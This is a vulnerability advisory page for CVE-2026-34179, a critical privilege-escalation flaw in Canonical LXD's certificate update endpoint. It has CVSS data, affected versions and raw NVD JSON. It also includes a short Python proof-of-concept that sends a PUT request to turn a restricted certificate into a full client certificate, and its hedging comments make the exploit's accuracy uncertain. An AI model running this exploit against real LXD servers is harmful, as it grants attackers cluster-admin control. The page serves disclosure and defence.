Security Vulnerability Report
中文
CVE-2026-34179 CVSS 9.1 CRITICAL

CVE-2026-34179

Published: 2026-04-09 10:16:22
Last Modified: 2026-04-22 20:51:25

Description

In Canonical LXD versions 4.12 through 6.7, the doCertificateUpdate function in lxd/certificates.go does not validate the Type field when handling PUT/PATCH requests to /1.0/certificates/{fingerprint} for restricted TLS certificate users, allowing a remote authenticated attacker to escalate privileges to cluster admin.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:* - VULNERABLE
Canonical LXD 4.12
Canonical LXD 4.13
Canonical LXD 5.0
Canonical LXD 5.1
Canonical LXD 5.2
Canonical LXD 5.3
Canonical LXD 5.4
Canonical LXD 5.5
Canonical LXD 5.6
Canonical LXD 5.7
Canonical LXD 5.8
Canonical LXD 5.9
Canonical LXD 5.10
Canonical LXD 5.11
Canonical LXD 5.12
Canonical LXD 5.13
Canonical LXD 5.14
Canonical LXD 5.15
Canonical LXD 5.16
Canonical LXD 5.17
Canonical LXD 5.18
Canonical LXD 5.19
Canonical LXD 5.20
Canonical LXD 5.21
Canonical LXD 6.0
Canonical LXD 6.1
Canonical LXD 6.2
Canonical LXD 6.3
Canonical LXD 6.4
Canonical LXD 6.5
Canonical LXD 6.6
Canonical LXD 6.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target LXD server URL TARGET_URL = "https://<LXD_IP>:8443" # Fingerprint of the attacker's restricted certificate CERT_FINGERPRINT = "<attacker_cert_fingerprint>" # Path to the attacker's client certificate and key CLIENT_CERT = "/path/to/client.crt" CLIENT_KEY = "/path/to/client.key" # The malicious payload to escalate privileges by changing the certificate type # In LXD, Type 0 is usually 'client' (full trust), Type 3 might be restricted depending on config. # The goal is to remove the restriction. payload = { "type": "client" # Escalating from restricted to full client/admin rights } endpoint = f"{TARGET_URL}/1.0/certificates/{CERT_FINGERPRINT}" # Sending the PUT request to update the certificate response = requests.put( endpoint, json=payload, cert=(CLIENT_CERT, CLIENT_KEY), verify=False # Ignore SSL verification for PoC purposes ) if response.status_code == 200: print("[+] Privilege escalation successful! Certificate type updated.") else: print(f"[-] Failed to escalate privileges. Status code: {response.status_code}") print(response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34179", "sourceIdentifier": "[email protected]", "published": "2026-04-09T10:16:21.963", "lastModified": "2026-04-22T20:51:25.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Canonical LXD versions 4.12 through 6.7, the doCertificateUpdate function in lxd/certificates.go does not validate the Type field when handling PUT/PATCH requests to /1.0/certificates/{fingerprint} for restricted TLS certificate users, allowing a remote authenticated attacker to escalate privileges to cluster admin."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-915"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.12", "versionEndIncluding": "5.0.6", "matchCriteriaId": "41A5CC7C-00BE-436D-957A-4636E52D0DF1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.21.0", "versionEndIncluding": "5.21.4", "matchCriteriaId": "92A82DF4-3ED9-47E0-BDF1-DB9138EE0883"}, {"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndIncluding": "6.7", "matchCriteriaId": "5C28FC63-0BE4-4B40-A87F-DF242AE33303"}]}]}], "references": [{"url": "https://github.com/canonical/lxd/pull/17936", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/canonical/lxd/security/advisories/GHSA-c3h3-89qf-jqm5", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}, {"url": "https://github.com/canonical/lxd/security/advisories/GHSA-c3h3-89qf-jqm5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory", "Exploit"]}]}}